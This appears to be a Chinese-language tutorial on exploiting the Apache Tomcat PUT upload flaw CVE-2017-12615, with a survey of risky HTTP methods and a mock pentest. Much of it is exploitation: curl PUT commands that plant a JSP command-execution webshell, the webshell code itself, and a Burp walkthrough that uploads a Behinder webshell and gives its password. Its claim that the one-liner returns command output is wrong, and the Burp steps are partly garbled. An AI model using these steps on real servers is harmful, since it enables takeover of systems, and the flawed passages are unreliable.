HTTP请求方法安全剖析(不安全的网络请求方法):从CVE-2017-12615看PUT/DELETE的风险利用
目录
1. CVE-2017-12615漏洞的原理
2. 如何复现CVE-2017-12615漏洞
步骤:
注意事项
3. 如何通过这个漏洞上传webshell JSP并写出JSP一句话木马
JSP一句话木马示例
上传步骤
结果
4. 网络安全中的请求方法有哪些
5. 不安全的网络请求方法及实际利用案例
不安全的请求方法
总结
6. 利用最多的不安全网络请求方法
7. 综合实际工作案例及思路
场景
步骤
思路总结
1. CVE-2017-12615漏洞的原理
- CVE-2017-12615是一个影响Apache Tomcat的漏洞,具体存在于某些版本(如7.0.0到7.0.79)中。这个漏洞的核心在于,当Tomcat服务器启用了HTTP的PUT请求方法时,攻击者可以通过该方法直接向服务器上传任意文件,包括恶意文件(如webshell)。
- 在正常情况下,Tomcat会对PUT请求进行限制,但由于配置不当或版本缺陷,攻击者可以绕过这些限制。
- PUT方法是HTTP协议中用于上传文件的功能,当服务器未正确验证上传文件的权限或路径时,攻击者就能将恶意代码部署到服务器上,从而可能实现远程代码执行。
漏洞成因总结:
-
触发条件:Tomcat启用PUT方法,且存在版本漏洞。
-
后果:攻击者可上传任意文件,进而控制服务器。
2. 如何复现CVE-2017-12615漏洞
要复现这个漏洞,你需要一个存在该漏洞的Tomcat环境。
以下是详细步骤:
步骤:
-
确认Tomcat版本
-
检查目标服务器运行的Tomcat版本是否在受影响范围内(如7.0.0到7.0.79)。可以通过HTTP响应头或错误页面泄露的版本信息来确认。
-
-
启用PUT方法
-
默认情况下,Tomcat可能禁用PUT请求。你需要修改配置文件(如
web.xml
或server.xml
),确保PUT方法可用。通常需要在<servlet>
标签中添加对PUT的支持。
-
-
准备测试环境
-
搭建一个本地或虚拟机上的Tomcat服务器,模拟目标环境。
-
-
发送PUT请求
-
使用工具(如
curl
或Burp Suite)向目标服务器发送PUT请求,尝试上传文件。 -
例如:
curl -X PUT http://target_server:8080/test.jsp -d @local_file.jsp
-
target_server
: 目标服务器地址。 -
test.jsp
: 上传的目标文件路径。 -
local_file.jsp
: 本地待上传的文件。
-
-
-
验证复现
-
访问
http://target_server:8080/test.jsp
,检查文件是否成功上传并可访问。
-
注意事项
-
确保网络连通性和权限允许PUT请求。
-
在合法授权的测试环境中操作,避免非法行为。
实现过程:
-
Tomcat框架存在一个任意文件上传的漏洞,对此我们使用Burp Suite的repeater模块进行Tomcat任意文件上传漏洞测试。
-
首先打开BurpSuite,随机抓取一个http://192.168.96.21:2002站点的数据包
-
之后将该数据包发送至都验证模块
-
-
将抓取的数据包的请求方式修改为PUT,将请求的URI修改为/112.jsp/
-
在请求头部新增请求头
-
-
Content-Type:application/x-www-form-urlencoded
-
并且将请求内容修改为冰蝎3
-
webshell的文本内容。
-
点击GO 服务端响应状态码201,证明Tomcat框架存在任意文件上传漏洞,且webshell文件已成功上传到目标服务器,webshell路径如下
-
-
http://192.168.96.132:2002/112.jsp/
- 源请求地址
-
直接修改参数再对应位置
-
连接冰蝎
-
密码rebeyond
-
-
双击该webshell信息后,将出现webshell管理功能菜单,包含基本信息,命令执行 虚拟机终端,文件管理,内网穿透,反弹shell等功能。
3. 如何通过这个漏洞上传webshell JSP并写出JSP一句话木马
利用CVE-2017-12615上传webshell的步骤与普通文件上传类似,但需要构造一个恶意JSP文件(如webshell)。
JSP一句话木马示例
一个简单的JSP一句话木马如下:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
-
作用:这段代码会执行HTTP请求中
cmd
参数指定的系统命令。例如,访问http://target_server:8080/shell.jsp?cmd=whoami
将返回服务器当前用户。
上传步骤
-
创建webshell文件
-
将上述代码保存为
shell.jsp
。
-
-
使用PUT请求上传
-
执行以下命令:
curl -X PUT http://target_server:8080/shell.jsp -d @shell.jsp
-
-
验证webshell
-
访问
http://target_server:8080/shell.jsp?cmd=dir
(Windows)或http://target_server:8080/shell.jsp?cmd=ls
(Linux),检查是否返回命令执行结果。
-
结果
如果成功,你将获得一个可执行任意命令的webshell,从而控制服务器。
4. 网络安全中的请求方法有哪些
HTTP协议定义了多种请求方法,每种方法有不同的用途。以下是常见的HTTP请求方法及其逻辑:
-
GET
-
用途:从服务器获取资源(如网页、图片)。
-
特点:参数通常附加在URL中,可见且常用于查询。
-
-
POST
-
用途:向服务器提交数据(如表单提交)。
-
特点:参数在请求体中,适合传输大量或敏感数据。
-
-
PUT
-
用途:上传或更新服务器上的资源。
-
特点:可直接修改服务器文件(如CVE-2017-12615利用)。
-
-
DELETE
-
用途:删除服务器上的指定资源。
-
特点:需权限控制,否则可能导致数据丢失。
-
-
HEAD
-
用途:获取资源的元信息(如响应头),不返回主体内容。
-
特点:常用于测试链接有效性。
-
-
OPTIONS
-
用途:查询服务器支持的HTTP方法。
-
特点:可用于侦察服务器配置。
-
-
TRACE
-
用途:回显服务器收到的请求内容。
-
特点:用于调试,但可能被滥用。
-
-
CONNECT
-
用途:建立与服务器的隧道连接(如HTTPS代理)。
-
特点:常用于SSL通信。
-
这些方法构成了客户端与服务器交互的基础,但在网络安全中,某些方法可能被攻击者利用。
5. 不安全的网络请求方法及实际利用案例
以下是不安全的HTTP请求方法及其潜在风险和实际案例:
不安全的请求方法
-
PUT
-
风险:允许上传文件,若未限制,可能导致恶意文件部署。
-
案例:CVE-2017-12615,攻击者上传webshell控制服务器。
-
-
DELETE
-
风险:可删除服务器资源,若无权限验证,可能破坏系统。
-
案例:未授权的DELETE请求删除网站关键文件。
-
-
POST
-
风险:提交数据时,若存在输入验证漏洞,可能引发SQL注入、XSS等。
-
案例:通过POST提交恶意SQL语句,窃取数据库内容。
-
-
TRACE
-
风险:回显请求内容,可能被用于XSS或窃取cookie。
-
案例:利用TRACE方法触发XSS,窃取用户会话。
-
-
OPTIONS
-
风险:泄露服务器支持的方法,为后续攻击提供信息。
-
案例:攻击者通过OPTIONS探测PUT支持,结合CVE-2017-12615攻击。
-
总结
不安全的方法通常涉及修改服务器状态(如PUT、DELETE)或数据提交(如POST),若缺乏防护,极易被利用。
6. 利用最多的不安全网络请求方法
在实际攻击中,利用最多的不安全请求方法包括:
-
POST
-
原因:广泛用于数据提交,常与SQL注入、XSS、文件上传漏洞结合。
-
占比:因使用频率高,攻击场景最多。
-
-
GET
-
原因:参数可见,易于CSRF或参数篡改攻击。
-
占比:虽不直接修改服务器,但利用广泛。
-
-
PUT
-
原因:直接上传文件,特定漏洞(如CVE-2017-12615)中非常关键。
-
占比:在文件上传场景中突出。
-
结论:POST和GET因通用性高而最常被利用,PUT在特定漏洞中危害更大。
7. 综合实际工作案例及思路
假设你是一名渗透测试员,目标是测试一个运行Tomcat的Web应用是否存在CVE-2017-12615漏洞。以下是综合案例和思路:
场景
-
目标:某公司内网Tomcat服务器(版本7.0.70)。
-
任务:评估其安全性并提交漏洞报告。
步骤
-
信息收集
-
发送HTTP请求,查看响应头,发现
Server: Apache-Coyote/1.1
,确认Tomcat版本为7.0.70(在漏洞范围内)。
-
-
探测支持方法
-
使用
curl -X OPTIONS http://target_server:8080/
,返回支持PUT
,确认潜在风险。
-
-
测试文件上传
-
创建
test.txt
(内容为“hello”),执行:curl -X PUT http://target_server:8080/test.txt -d @test.txt
-
访问
http://target_server:8080/test.txt
,显示“hello”,确认PUT可用。
-
-
上传webshell
-
创建
shell.jsp
(内容为<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
),执行:curl -X PUT http://target_server:8080/shell.jsp -d @shell.jsp
-
-
验证控制
-
访问
http://target_server:8080/shell.jsp?cmd=whoami
,返回服务器用户(如SYSTEM
),确认成功。
-
-
报告与修复
-
报告:记录漏洞细节、复现步骤及危害(远程代码执行)。
-
建议:升级Tomcat至最新版本,禁用PUT方法(修改
web.xml
添加<http-method>
限制)。
-
思路总结
-
从信息收集到漏洞验证,逐步确认CVE-2017-12615。
-
利用PUT方法特性,结合webshell实现攻击。
-
强调合法性和授权测试的重要性。